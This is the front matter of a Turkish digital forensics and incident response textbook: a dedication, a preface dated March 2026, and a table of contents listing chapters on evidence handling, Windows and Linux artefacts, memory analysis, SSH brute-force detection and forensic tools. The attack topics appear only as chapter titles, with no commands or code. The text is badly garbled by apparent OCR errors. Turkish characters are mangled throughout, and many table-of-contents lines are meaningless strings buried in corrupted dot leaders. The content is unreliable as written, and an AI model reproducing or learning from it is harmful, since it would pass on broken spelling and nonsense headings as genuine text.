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Ithaf

Bu kitap,
dijital diinyanin goriinmeyen izlerini sabirla inceleyen, gercegi verinin i¢inde arayan tiim diji-
tal adli analistlere adanmustir.

Her log satirinin, her zaman damgasinin ve her veri kalintisinin bir hikaye anlatti§ina inanan-
lara... Gergegin ¢ogu zaman sessiz oldugunu bilen,
ama o sessizligi ¢ozebilenlere.

Dijital diinya biiytidiikce, gercegi ortaya cikaran izler de dijital ortamlarda birikmeye basladi.
Giliniimiizde bir olayin ardindaki gercegi anlamak ¢ogu zaman log kayitlarinda, zaman dam-
galarinda ve sistem artefact’larinda saklidir.

Dijital adli bilisim, yalnizca teknik araglarin kullanildig: bir alan degildir. Ayni1 zamanda ana-
litik diisiinme, sabir ve metodolojik disiplin gerektiren bir siirectir. Bir analist i¢in en 6nemli
ara¢ cogu zaman yazilim degil, dogru sorular1 sorabilme yetenegidir.

Bu kitap, dijital adli bilisim alanina ilgi duyan arastirmacilar, giivenlik uzmanlar1 ve yeni bas-
layan analistler i¢in hazirlanmistir. Amaci yalnizca arag kullanimini 6gretmek degil, ayni za-
manda olaylar1 analiz etme yaklagimini ve diisiinme modelini aktarmaktir.

Yillar iginde birgok teknik ara¢ degisti, yeni yontemler ortaya ¢ikt1 ve saldir1 teknikleri gelisti.
Ancak degismeyen bir sey vardir: Dijital sistemlerde gerceklesen her faaliyet bir iz birakir. Bu
izleri dogru sekilde toplamak, analiz etmek ve anlamlandirmak ise adli analistin sorumlulugu-
dur.

Bu kitabin, dijital diinyada gercegin izini siiren herkes icin faydali bir kaynak olmasini umu-
yorum.
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“Every contact leaves a trace.”
“Her temas bir iz birakir.”

Edmond Locard
(Modern adli bilimin kurucularindan biri)




Onsoz

Dijital adli bilisim, yalnizca teknik araglarin kullanildig: bir alan degildir. Bu disiplin; meto-
doloji, sabir ve tarafsizlik gerektirir. Bir analistin degeri, kullandig1 yazilimlardan degil; delile
sadakatinden ve siire¢ disiplininden anlagilir.

Bu kitap, yillar i¢inde edinilmis saha tecriibesinin sistematik bir ¢er¢eveye oturtulmus halidir.
Amag; ara¢ 6gretmekten ¢ok, diistinme bicimi kazandirmaktir. Ciinkii dijital adli bilisimde
asil giig, tek bir kaydi okumakta degil; dagitik izleri baglam i¢inde birlestirebilmektedir.
Burada yer alan 6rnekler, senaryolar ve metodolojiler; ger¢cek diinyadaki sorusturma mantigini
yansitmaktadir. Okuyucunun bu ¢alismadan yalnizca teknik bilgi degil, analitik refleks kazan-
mast hedeflenmistir.

Unutulmamalidir ki, dijital delil teknik bir veri degil; hukuki bir sorumluluktur.

Bu eser, meslegini ciddiyetle icra eden tiim analistlere ithaf edilmistir.
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Mart 2026




Icindekiler

TERAE 1.ttt ettt ettt ettt s ettt et bRt b s e st s ek ne s b ese st s esen et esesene s esene 1
OMISBZ vttt ettt ettt et et ettt e st et e st et e st et ess e s et et e es e s e s es e e s e s s e s e st e s e st es e st e s et ese s e s e s e st b ese s e st ese st s et enensens 2
Bu Kitap Nastl OKUNMAIL? .......coeiiiuiiieiiiiiieieiiieeeeiiieeeeriiiteeesittteeesibeteeesasatesesssaeeessanateesssseeeesnsaeessnnneees 10
Yeni Baslayanlar TG0 ........o.ooviiviiieiiicicee ettt ettt ettt ettt ettt ettt ettt eneeneeneereenenn 10
Teknik ANAlISIEr TEIN ....o.oiiitiieiitietct ettt ettt ettt ettt s ettt teeaeeaeeteea et et ensenseneereereeaeene 10
AN Yol STa) L] (S ol & F:1 <o V1 o b IO PPNt 11
Pratik Yapmanin ONEMi...........c.eeveveieierierietieteetesteetesteseeseeseeseeseeseesesessessesseseeseeseesessensessensessesseseesessens 11
ANALEK YAKIASIINL ..eeeviiiiiiiiiieieeeieeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeesessessesssssesessssssssssssssssssssssessesssesesesesrseeeeees 11
Ag Baglant1laring Kontrol EHME ...........uviiiiiiiiiiiiiiieeieeeeeecciieeeeeeeeeseiatreeeeeeeessnsssasseesesssssssssessesasssssnnsnes 13
Komut ve SemMbOl AGIKIAMALATT .....uuueieiiiiiiiiieeeeeeeeittiiieeeeeeeeetautiaaeeeeesarsnnnnaeseseesssssnnnasesessssssssnnneessssssses 14
PowerShell (Windows) SEmbOl VE OPEIatOTIET ... ..veeeeeeeeeeurrrieeeeeeeiiiiiirreeeeeeeseeareeeeeeeeessennnsreseeeeessssnnsnes 14
Diizenli ifadeler (Regex) SeMDBOIIET . .................cocveviiereieeeeetieeteeeeseeteeeeeseeseeeteseeeeeseseseseseseeseseesenes 15
Kitap Yapist (Okuyucu I¢in HAtirlatma) ...........c.covevveeveeeeenieeeereereeteeteeeeeeeesseseeseeseeseeseesesensessesseseeseenens 17
BoOlim 1 — Dijital AdI BiliSIME GITTS ....eeeeeeeeereiuuiiiieeeeeeeniiieitteeeeeeeasuutteteeeessasusssteeeessessssnsssaeeeessssssnmsse | V4
Bolim 2 — Delil Kaynaklart V& VOIAtilie . .....eeeuvueeeerireeeeiiiieeeiitieeeesitieeeesiteeeessnseeeesnseesessssseeesssssesesnnsenas 18
BOIIM 3 — SOTUSTUINA STIECH ..evviiiiieiiieiiiiiieiiiiiieeiieeieeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeseeeeeeseerereserreeeerereeererreeees 18
Bolim 4 — Windows ATtefact ANALIZI.......cooeerieriieriieiiiiiiiieieeit ettt sttt ettt sanesneene e 18
BOlUm 5 — LinuX SISt ANALZI ..c.veeveerveerteeriierieeieeteeetteeite ettt et e saeesatesabeeteenbeesseesaeesaseeaneenseennes 18
BOIIM 6 — BEILEK ANALIZI ....eeeeuveeeitieiiieeiieenteeentteeeitee ettt esuteesabeeenuteesubeeenbseesaseesabaeesubeesabeeensseesasaeenmneenn 18
BOIIM 7 — AG ANAIIZI ....vvveeieiiiieeeiiiieeeeieeeeectt e e eiiteeeeetteeeeaaaaeeeeaasseeaeanssesaaansseseeanssaeesanssseeeassaeesannsanas 19
BOlim 8 — Olay ReKONSITKSIYOMUL ...veeteurriereiuriiereiiiteeesiteeeesureeeesseeeeessseesesssseeeesssseeessssssesesssseessssees 19
BOIUM 9 — ATag EROSISTEIM ....eeiieieeeiiiirieeeeeieeeiiiireeeeeeeeeeeireeeeeeeeeeeeiaseseeeeeeseasssseseseseeessssssssssseseeesnnrsnes 19




Bolim 10 — Analistin DUSUNME MOAEli...eeeeeieeiiiiiiiieeeeeeeeiiitieeeeeeeieciiieeeeeeeeesetaraeeeaeeeessssssseseeseesssssssens 19

BOLUM 1 — Dijital Adli Bilisimin TeMEL ........c.ccveevivierieeirierierieteeteeteeteeeeeseereereereeteeseeseseseseeseeseeseeseans 21
1.1 Dijital Adli BiliSim NEIr?.....ccueerteertierierieiieeteesteesit ettt ete et esbeesbeesutesatesbeebeesbeesseesaseembeeseennes A
1.2 Dijital Adli Biligimin Temel IIKEIETi ........c.ccvevveieierierietietieteeteeeeeeeee et eteereete et e ereeteetesenseseeseereeseenens 21
2. DFIR, Olay Miidahalesi ve Elektronik Kesif Arasindaki Farklar ............ccceeeeevueeeeeiiiieeensiieeeeecieeeeeenen. 24
2.1 DFIR (Digital Forensics & Incident RESPONSE) .....cceeeeeeiieiriiiiiiiiiiiiiiiiiiiiiiiiieieeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeees 25
2.2 Olay Miidahalesi (InCident RESPONSE) .....eeierrrriiierierieerireeerieeeeeeereeeeeeeeeeeeeeeeeeeeeeeeeeeeeeseeeeseeeeeseseeeeeeeeees 27
2.3 EleKtronik KeSif (€DISCOVETY) ceeuuurrrrrreeeeeerirrrrreeeeeeaasanssseeeeeeeassssnssssesssssassssssssssssssesssssssssssesssssssnssnes 29
3. Dijital SOruStUIMA TUILETT..eeeeeuvreeeriiiieeiiitiee ettt ee e ettt e e ettt e s ettt e eeateeeeenteeesenneeeeennneesennneeesannneeeean K0)
3.1. CeZA SOTUSTUITNALALL «..eeeeeeeeeeeeeeeeieeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeaeeeeeeeeeeeeenenns 30
3.2. Kurumsal SOTUSTUITNALAT ..........uvieeeeeeeeieiiiiieeeeeeeeeeiitreeeeeeeeeaiasssseseeseesasssssssseesseasssssssssesseessnsssssseees 30
3.3, SiVIl SOTUSTUITIALAT ....eeeiiiieeeiieeieeeeeeeeeeiireeeeeeeeeeesiuseeeeeeeeeeesssseeeseeeeeaasenssseeeeseanssssssseeseeeeennsnreneeeens 30
3. Sivil Sorusturmalar (Civil INVEStIZAtIONS) .eeeeeeeeeieeeeeieieieieeeee e e e e e e e e e e e e e e e e e e e e e eeeaeeaeaenns 31
4. Adli SorusturmacinIn ROI .......ceoeiuvvreeeeeeiiieiiiiireeeeeeeeeeiiiteeeeeeeeeeeeiisseseeeeeeeeassnseseseseeessssssssssseeeeesansssnns 32
4.1. Temel SOrUMIUIUKIAL. ....ccccuitiiiiieiiie ettt ettt et st e et esatee e bt e sibeesabeeesmbeesabaeennseesmreeenmneens 32
4.2. Temel YetKINIKICT ..cc..eeeutieiieiieitieitertte ettt ettt et ettt et st st ebe e s bt e eaeesaneeaneemneennee 32
5. Gergek DUNYA OINEKIETI. .. c..eeviiviieeeieiiieetieeeeteereeeteeetesteeteeseesseessesseessessesssessassesseessenseessesesssenssssseneans 34
5.1 KUrtumSal VEri TRIAli......c.cieveririeriiierieiesieteieteseetet ettt sse e sse e eseseesesseseseesessesessesessesessesessesessesens 34
5.2. ICEriden TERAIt VAKASL......veoveeueeeeeeeteeeeee et eeeeeeeeee st eeteeeeeeeeueeeeesesesenseesesesensessessennsensensesnsensesnesnnens 34
5.3. Fidye YazZillmIl SAIAITIST . .eeeeevreeeeeiiieeieitieeeeiieeeeeiteeesesuuaeesessseeesesnsseesasssseesasssseesesnsseesesssssesssssseeeens 34

BOLUM 2.ttt ettt ettt ettt s st b et st e s e b e s e s esesene s eseses et es et ene s esesese s eseseneesesenensnas 41

Delil ZinCiri V€ HUKUKI COIGEVE ..eeeeeieeeeeiieieeieiiieieieieieieeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeseeeeeesseeeseeseeseeseeeseeens 4]
2.1 Dijital Delilin Hukuki NItelIZi.....ccueereerierieriierieiiiietieeieete ettt ettt st et esteesnee s sanesneenneenee 41
2.2 Delil Butiinliigli ve Hash KaVIAMI......ceiiiieeiiiiiiiieeeeeeeiiiiiieeeeeeeseiutiseeeeeesessssnsseseessessssssssssseesssssssnnsnes 4]
2.3 Zincirleme Delil Takibi (Chain of CUSTOAY) ....eveeeeiiiiiriiiiiiieeeeieiiiiiitieeeeeeesiiiteeeeeeeeesinrteeeeesesssnneees 43
2.4 Uluslararast Standartlar ve RENDEIIET ......c..eeiouiiiiiiiiiiiiiiieiiieeiieeeite ettt eiee et s e sareesareeesnnee s 45




2.5 Uygulamali Senaryo: Bir Diziistii Bilgisayarin Adli Incelenmesi............c.ccveieieriireirecreiieieieieeereenns
Bolim 2 Kapani§ Paragrafi..........ceeeeiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiieeieeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeteeeeeeeeeeeeeeeeeeeeeaeeeaees
BOLUM 3 ...ttt
Delil KaynaKIart Ve VOLatilite. .......eeeieiiiiiiiiiiiiiiiiiiiiiiiiiiiieeeteeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeaeeeseeeeeeeeees
R D1 D 1 1 ) 1 (T
3.1.1 Ug Nokta (Endpoint) KaynakIart ..........coeeiiiiiiiiiiiiiiiiie e e e e e e
3.1.2 Bellek (RAM) KayNaKIari.....ooeeeeeeeeieieieieieieieieieeeieeeeeieeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeesesaaasasasasasasasssansaasnns
R B I Nl oY S ) 1 -1 4 1 o
3.1.4 Bulut ve Sanallagtirma Ortamlari........ceeeeeeeeeeieeeieieeeieieieieeeeeeeeeeeieeeeeeeeeeeeeeeeeeeeeeeeeaaaaaaaaaaaaaaaaaaaaaaanns
3.2 Volatilite KAVIAMI ...cooiiiiiiiiiiiiiiiiiiiiee ettt e ettt e e ettt e e et e e emneeeeemnneeeennnneeeennneeeens
3.3 Volatilite SIralamast.......cccoiieiuiiiiiiiiiiiiiiiiiiieee ittt e e et e e e e st e e e e e s e snaareeeee s
3.4 RAM ve Disk Arasindaki Farklar ...........ccccooviiiiiiiiiiiiiiiiiiiiiieieie et cenee e
3.5 Delil TOPIama ONCEIIZI .....veeviveieeierierieteeteeteeteeteet et et et eteeteeteete et et eseseeseeseeseeseesesensessessesseseeseesenns
BOIIM 3 KAPANIS . ceeiiiiiiiiiiiiiiiieiieiieieeieettetteeteteeeeeeeteeeeeteeeteteeeteeeeeeeeeteeeeeteeeteeeteteeeeteeteeeeteeteeeeeeeeeeeeeeeeeeee
BOLUM 4 ...ttt ettt ettt et se e s et et et ese s et e s et et et e sses e seseeseseeseseeseseeseneesessesansesensesensesensess
Windows Artefact EKOSISTEIMI .....ouuiiiiiiiiiiiiiiiiiiiiiiiei ittt ittt ce e site e seine e ssiae e e seiaeeeseaaneeessanaeeessnnns
4.1 Artefact KAVIAMI «.o.eviiiiiiiiiiiiiiie ettt ettt e et e et e e et e e et e e eennee e e ennee e e anneeeeenneees
4.2 Program Calistirma EKOSISTEIMI «...eeeeeeiiiriiiiiiiiiiiiiiiiiiiiiiiiiiiiieieieieeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeees
A3 PIEICICH. ....eiiiiiiiiiiiiie ettt e e st e e e s
4.4 Amcache ve ShIMCACKE ......ccciiiiiiiiiiiiiiiiiiiiiiii et e e e e e e s e
4.5 Event Log KOTCIaSYOMU .....cceiiiiiiiiiiiiiiiiiiiiiiiiiieteteeeteeeeeeeeeteeeeeeeeeeeeeeeeeeeeeseeeeeeeseeeseeeseeeeeseeeeeeeeeeeeeeeeee
4.6 SMFT ve Zaman Dam@alari..........ccceeiiieiiiiiiieiiieieieieeeeeeeeeeeeeeeeeeeeeeeeeseeeeeseseseeseeseseesseeeseseeeeessesseseeeeee
E RN (o1 - 1o OS] § 1 (< 1[5 4 S SPPPIN
4.9 Timestomping ve Zaman ManipllaSyOnU..........cceeeeeeerieeeeerereeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeesesseeseeeeseesereeees
4.10 Uygulamali Senaryo: Siipheli Program Calistirma Analizi .........coeeeeeeeiiieiiiiiiiiiiiiiiiiiiiieeeeeeeeeeeeeeeeeeeees

BOIim 4 Sonu Sabit UYArs IMENI «.eeeeeeeeeeereeereeereeereeereeeeereeeeeeeeeeeeeeeeeeeeeseeeeeeeseseeeseseseseseeseesssesessseseeeaen




BOIUIM 4 KAPAIIS +.vvveeeeeeeeeiiiirieeeeeeeeiiiiteeeeeeeeeistussseeaaeeaaassssssssessessssssssssssessssssssssssssssssssnssssssssessesnnns 75

BOLUM 5ottt ettt ettt a ettt eatets et e et e et e et et enteaseneesseseeseete et et ensensensereereereeseene 76
Linux Sistemlerde Adli ANALIZ ......coovueerueierieeniieeiieenieeeteeeeteestteesiteesabeeesbaeesmneesaneeesmneesanaeenneesnnesessneens 76
5.1 Linux’ta Delil KaynaKIars .........eeeeeueeeeiiiiieeiiiitieieiiteeeeiitee s ettt e eeiiteeseiateeeeineeeesnneeeesnnnneeesannneeeens 78
5.2 SSH ELISIM IZIETT ...ttt ettt e e et e e e e et e e e eaesateesesaeeasenasensessesnsensesaesnen 78
5.3 Bash History ve KOMUL IZIETT........cc.cviuiiriiiiitieiietcctceeeee ettt et v eae e 79
5.4 Cron ve Kalicilik MeKanizmalari...........cccviiiiiiiiiiiiiiiiiniiiieiiiiiie it einaeeeenneeeeas 79
T 10T 0 (=] P Ty o) 11 U 80
5.6 Uygulamali Senaryo: YetKiSiz SSH ETISIMI....c...eeererrieeiniiieeieiiieeeeiiieeeeiiiteeeeiiieeeeesinneeesunneeessnnneeenns 80
5.7 SSH Brute Force — Basarili Erigim KOrelaSyonu ..........eeeeieeeiciuiieeeeeeeiiiiiireeeeeeeesscnrreeeeeeeesssnnseseeeens 81
5.8 Yetki Yiikseltme (Privilege ESCalation)........ccceeieieieiiiiiiiiiiieiiieeeieeeieeeeeeeeeeeee e e e e e e e e e e e e 81
5.9 Bash HiStory ManipllaSYOMU .......cccuueeeeeeureeeeeireeeeesseeeeesuseeeesseseeesssseesssssesesssssssesssssssssssssssssssssesanns 82
5.11 Log ROtation V& TUZAKIAL .....vveeeieiieeeeeiiieeeeieieieeeiteeeseiuteeesesuueeesesasseesassseesanssseesasnsseesssssssesssnsseeeens 83
5.12 Uygulamali Vaka: Linux Sunucu El& GEGIIME. ...ccccuvrieeeiurieeeiiieeeeiieeeeeiireeeeiueeeeessseeeesssseeessssseeeans 84
BOIUIM 5 KAPAIIS ..vvveeeeeeeieiiiiireeeeeeeeiiireeeeeeeeaaieuusrsseeeesasssssssssessseasssssssssssseassssssssssssesssnsssssssssssssannns 88
BOLUM 6 ..ottt ettt ettt ettt et ae et ese e s ese et esseseseesessesessesessese s es st ese s ese s ese et esseseseesessesaneens 89
Bellek (MemOTy) Adli BiliSIMi.......uuvirieeeieiiieiiiiieeeeeeeeiiiitieeeeeeeeeseiesaeeeeeeeassssssaesessaesssnnssssssessssesssnsssssseeens 89
6.1 Neden Bellek ANALIZI?......ueiiteeiriiieiiieeiteeeiee ettt esiteeeteeestteesiteeebteesuteesbeeesbaeesubeessnseesabeesnsaeesneennne 89
6.2 Bellek NEdir V& N ICOIIIT .....veeeeeeeeeeeee oottt eee et eeee et eeeeeae st eeeesueenesaseneeneesnseesesnesnens 89
6.3 FIlEless SAIAITIIAL ....ceouvtiiitiieniie ettt ettt ettt ettt e et e ettt e sabeeeabteesubeesabteeabteesubaeesabeesabeesnbaeenaneennne 91
6.4 Process Injection Ve ANOMAI TESPITh .eeeeeurrreeeirriereirreeeeirreeeeiueeeeassseeeasssseeeassseseesssseesassssseessssseseens 92
6.5 DiSK VE BEIIEK CatISINASI...cceeeeeeeeieieiiiiiiieieieieeeieeeieieeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeseeseeeeeseeseenens 95
6.6 Uygulamali Senaryo: PowerShell Fileless Saldiri........coeevrereiiieiiiiiiiiiiiiiiiiiiiieiieeeeeeeeeeeeeeeeeeeeeeeeeeeee e, 96
BOIUM 6 KAPANIS ....veeeiiiieeeieiiieeeeiteeeeeetteeeeetteeeeasteeeeaesseeeaassseseeasssssesanssssesassseesssssssesanssssesanssssessnses 98
BOLUM 7.ttt ettt ettt ettt et et et et eatets et e et e et e et et entenseseeaseseeseete et et ensensensensereereesenne 98
Olay Rekonstriiksiyonu: Dijital Izlerden Davranis MOEline. ..............ooeevevveveeeeereereeeeeeereeseeeeeneeseeeeseenes 98

6




7.1 REKONSLIUKSIYON INEAII? ...eeeieuriieeieiiieeieiiieeeeitteeeestteeesesuteeeseaueeeesesnsseesassaeesannsseesasnsseessnnsssesssnseesens 99

7.2 Senaryo: Igeriden Veri SIZAIMA. .........cooueeuierieriiteeteeeeeeeteeteeteeteet et ee et eseeseeseeteeseeseesesesseseereeseerenne 99
I 11 20 11 OO 99
T4 USB ATEETACE ..eeeteeiiiiiiteeeee e ettt et e ettt e e e e e ettt e e e eeseaattbaaeeeseessansnbtaaaeesaasasnsnstaeeessessnnnssnes 100
7.5 Linux Sunucu Tarafl ANAliZi.......cc.eovviiieiiiiiiiiiiiiiiiieeiie ittt ettt sineeeaneeeennee s 101
7.6 BEIIEK ANALIZI..ceeuuveeruiieeiieeniiieitteeeitee ettt esiteestte ettt esubeesbeee sttt esabeeenubeesabeesabaeesabeesbseesaseesabaeennseenn 101
7.7 Nihai REKONSIITKSIYOMN «.uvvvieeeuirrieeeiuriteeeiiteeeeiuseeeessseeeassseseassseeeasssessasssssseasssssssssnssssssssssssesansees 102
BOIUM 7 KAPAIIS +.vvveeeieeeiiiiiieeeeeeeeeiiiirieeeeeeaasenssseeeeessasannsssssesssassssssssssessssassssssssssessssssssssssssssssannns 102
BOLUM 8 ...ttt ettt ettt ettt et et et et et et e st eaeesseseete et et et ensensessesseseese et e et et ensensensenseseereen 103
Etik, Raporlama ve Uzman TanIKIIK ..........ccccuvirieeieeiieiiiiiieeeeeeeeeeirrreeeeeeeesnnsrsseeesesessnnsssseessssssssssssseeens 103
8.1 Dijital Adli Analistin Etik SOTUMIUIUZU ....ceeevvieeieiiiieieiiiee ettt eesie e e et e e e sabeeeesbbeeeesnnaeeeens 103
8.2 Tarafsizlik ve Onay Yanliligi (Confirmation Bias) .........cccueeeeeuieeeeiiuiieeeiiiieeeiiieeeesneeeeesvreeeesnneeeans 104
8.3 AdLi RAPOTUN YAPIST c.uuvvreeeauuiieereitieeeeiteeesaiutteesasuseeesasssseesasnsseesasnsseesasssseesasssseesassseesesssssesssssseesens 105
8.6 ENl BULYUK HALA ....veeeieiriieeeiiiieeeitieeeeeiteeeeeittteeeeiuveeeeeaseeeeaasseeeaassseeeanssseeeanssseesannsssesassssseeesnsseeenns 108
BOIUM 8 KAPAIIS ..vvveeeieeiiiiiiiereeeeeeiiiiitieeeeeeaeeettsseeeeeeaaaasnnssaseaeasasssssssssessssassssssssssesssssssssssssseeaannns 109
Boliim 9 — Temel Adli Arag Ekosistemi ve Kullanim Stratejisi ...eeeeuvveeeerureeeeiiveeeeesiuueeeesiueeeesinseeeessnneeenns 109
O D1 B 0T I e Tc) (S5 Tcrs T 110
AATEODSY «evveeeeeurreeeeaauseeesausseesaauseeesaassaeesasnsseesssssseesasssssesesssssesanssssesessssesensssesesssssesessnssesennssesessseees 110

9.2 Delil Toplama Ve GOTUNTHIEIIIE ....ecuvvveeeeieiieeeeiireeeeiiteeeesitteeeesiaseeeeaaseeeeanseeeaaasseeeeannsesesasssssesansees 114
21 S 0 1 < P 114

9.3 BEIIEK ANALIZI....couvieriiiiiiiiiiiieiiiieitie ettt ettt ettt ebt e et sabe e e e en e san e e saneeeneeesnnee s 116
9.4 Dosya Sistemi Derin ANalizi (TSK) ....cceeeeouiiiieieeieeeiiciiieeeeeeeesicirreeeeeeeeessrsseeseeeeaassssssssesesasasssnsssses 118
9.5 AZ Analizi — C2 DOZIUIAMA. ....ccceiurrreeeirrieeeiireeeeitteeeessseeeessseeeesasseesessssseeesssseeeesssseeessssseesansses 119
0.6 TTIAZE SHLALETIST +eeeuvvrreeeeurreeeeirreeeeitteeeasueeeeeaaseeeasasaeeeassseseanssssesaanssasaaansssseaanssseseannssseeassseeeansseens 120
9.7 Modern DFIR Araglart Ve TENAit TIHAZE ...vveeeeeuvrrereriurreeeiiureeeenireeeenureeeessureeeesssseeeessseesessssseessssees 124
Chainsaw'un Temel YetenEKITT .. ...ueeuueeuueitierteirtienite et eteeete et ette et et e e st e sbtesutesateebeenneesueesueeeas 128




9.9 Arag Secim Stratejisi ve Analitik YaKIaSIm ...eeeuuveeeeriureereriiieeeiiieeeeniieeeeniteeeessieeeeesareeeesnseeesssnneens 133

Delil TUITINE GOTE ATAG SEGIMI .eeeeeuuuiririeeeeereraiittteeeeeesaaunttteeeesesssausssteteeessssasnssseeeeesssssasnsssseeeeessnnns 135
9.10 Gergek Vaka — Ara¢ Se¢im Hatas1 (Bellek Analizi Atland1)...........eeeeeeeeeieiiiieieeeeeesiciiiieeeeeeeeeennnnes 138
9.11 Gergek Vaka — Ara¢ Se¢im Hatasi (Log Korelasyonu Yapilmadi) .....ccoeeeeeeeeeeieieiiiniininninniinninnnnnnnnn. 139

Boliim 10 — Dijital Adli Analistin DUSTNME MOAEli...ccc.vvviiiieiiieeeiiieeeiiieeeeciieeeecireeeesreeeeesareeeesaaeeeens 141
10.1 Neden “DUSHNmE MOAEL™? .....uvviiieeieieiiiiiieeeeeeeeeiciitteeeeeeeeeeeiareeeeeeeaessasssasssaseesesssssssssseassassssssnes 141
10.2 ANalistin ZiNinSEl AKISI.......cceeeuvveeeeeeeieieiiureeeeeeeeeeeiiisreeeeeeeeeseissseseseeeeassnseseseseesesssssesssseseenmnssnnes 141
10.3 Hipotez Kurma ve CUrtitme DiSIPINI .....cceuvvvreieeeeeeeiiiiiieeeeeeeeeiiireeeeeeeessenraseeeeeesesesssssesessesassnsnsnes 144
10.4 Artefact KorelasSyonu IMANTIZE ....eeuveeeeesurreeeeiureeeeiueeeeesouseeeessseeeesssseeeessnssesessssssessssssesessssseeessssees 144
10.5 “Yok” ile “Bulunamadi” Arasindaki Farki............cccocveeeriiiniieinieinnieiiieenieeeiee e siee e esnee e 145
10.6 Sessiz Bulgular (Negative EVIAENCE) ....uuuuviiieiiiiiiiiiiiiiieee et e e e e ettt e e e e e e eeiebteeeeeeessaaeeee 145
10.7 Zaman Algisi: Saat DeZil BaZIam........ccceeuuiiiiiiiiiieiiiiiieeeeeeeeeiiiieeeeeeeessinrieeeeeeesessnnsreeasassssssnnnnes 145
10.8 Analistin En Biiyiik DUSMant: ONYArgl ........c.ccveeeuierierierieiierieieeeeeeeseeteeteeseesessessessesseseeseeseeseeseans 146
10.9 Profesyonel Analist REFIEKSIETT ....evieiiieruiiiiiieieiiieiiiiieteeeeeeeiiiiieeeeeeeeeiiatteeeeeeesenbnreeeeeesesnsnnnnnes 146
10.10 BOIUIM SOMUL....eerutiieiieenieeetttenteeestteenteestteesuteesuneeesmseesaseeesaeessseessseeessseesnsaeessseesnseesnseeesseeennees 146
Dijital Adli Inceleme Kontrol Listesi (Field ChecKIiSt) ..........cveveeveruervereeeeeereereereereereeseeeeseeeeseeseeseesenns 150
1. Olay Yerine IIK MUAANALE ........ccueeviereieierierieteeeteeeeeeeeetteeeeeeereesesteeseesseereesseessensessssnsensesssensesesssenes 150
2. DELIl KOTUMA .euvveeuiieeiieenuteeeniteeeiteeetteesuteeetteesuteeeubaeesuseesasaeenseeesaseesaseeennseesasaeesnseesnsaesnsaeesnseeensees 150
3. DL EIMIIM. .eeuteeutieuieeteenteentte st eit et et e et e et e et et et et et esbeesbtesatesateeabeesbeeebeesutesmnesmbeemneenneenne 150
4, TTIAZE ANALIZI vuuvveeeieiieeeeeitieeeeeitieeeeeitteeeeatteeeeasteeesassteesasssaaesasnsseesssssaeesssssseesssseessansseessssseeennssees 150
5. ATETACE ANALIZI ..eeouuviiiiiiiiiiiiiiieiiit ettt ettt sttt et et st et e ean e st san e e eneeesnnee s 151
6. BElleK ANAIIZI (VAISA)...0eeeeeeeeieeieirieeeeeeaeiiiirreeeeeeeasaasssseseeasasssssssssssessessssssssssssesssesssssssssesesssssssnssses 151
B N N . 1/ L PSPPSR 151
8. Olay REKONSIITKSIYOMU 11eeieeuiiiiiiieeeeeeesiiiiieeeeeeeesiterreeeeeesesssnnssseeeesesasassssssseessssssssnssssseessssessssssssssees 151
LI 2 1510 4 1 T O PSPPSR PRSPPI 152
10, SOM KOOI ..ttt ettt ettt ettt e bt e e bt e e bt sateeat e e bt e bt e bt e sbtesaaesateembeenbeenneeennenas 152




Adli Analistin 10 AN KUTALL c.o.uuunneiiiiiiiiee ettt e e e e e e et eeeeeetesaaanaeseseeessasnnnaeseaesees 153

1. DElIle SAYZI DUY ..eeeiuiiieeiiiiieeieiitee ettt e ettt e e ettt e e ettteeeeatateeseansteeseasseeeseannaeesennneeesannnnesennnneeaan 153
2. Analize Degil, Kanit Toplamaya OdaKIan ..............c.cceeeeiiuiiieeeeeeeieiiiiireeeeeeesicirreeeeeesesssnsssseeeeaaannes 153
3. Tek Bir Artefact’a GUIVEIINIE ......uuuviiieeeeeieeiiiiiieeeeeeesiiiieteeeeesassanatreaeesesassannsesaeeeeessnsnsnssssaeesesannns 153
4. Zaman Cizel@eSINT KUT ......cccuviiiiiiiiieieiiieeeeiiteeeeetteeeestteeeestaeeeesaaeeeeenaeeaeanssaeeeaasseaeanssaeeeansseeas 153
5. Varsayim Yapma, TESE EL .....ceecuuietieiiieeieiiiieeieiieeeeeiteeeseiieeesetteeesesteeesasseeessssseesssnsssessnssseesssnnes 153
6. Araglara KOrii KOIUNE GUVEIITIE ........ceeeieiiieieieieieieieieeeeeeeeeieeeieeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeesaseseseeeneneeens 154
7. Alternatif SENATYOIAr UTEL.........cveveeeereeeeeeeeeeeeeeeeteeeeeeeseeseeteeseeteeseseessesseseesseseesessesensesseneeneeneeseens 154
8. ANALIZ V& YOIUIMU AYIT .uuvteeeiiuiiieeiiuiteeeiaitteeesauteeesauteeesausteeesasseeeesasseeeesanseeessseeeessnsseeessssseeessnse 154
9. Her AdImi BEIZELE .......uuviiiiiieeieeiiiiee e e e e eeeti e e e e e eeeebteeeeeeeeenansssaaeaaaaasnnsssaesaassesssnsssnsaesaeaanes 154
10. OFrenmeye DEVAIM El........cc.ooviieieuierietietieteeteeeteteeteeteeteetesteesesessesseseeseeseeseesessessensessessesseseeseas 154
Terimler SOZITGU (GlOSSATY) veeeeeeeurrrrrieeeeeeeieiirteeeeeeeeaseaurteeeeeeesasassssseeeessessssssssssseessesssssssssesesesesssnssnes 155
AYMIAKGA: 1ttt ettt ettt et e e e ettt e e e e e e e e bttt eeeee e e aaa b et te e e e e e e e nnbtateeeeeeeaannbaaeaeeeeeaanas 157
Yazar HAKKINGA «...coveouiiiiiiiiiiiieie ettt ettt ettt et et et e bt e bt e sbtesatesabeeabeebeenneesnnenas 158
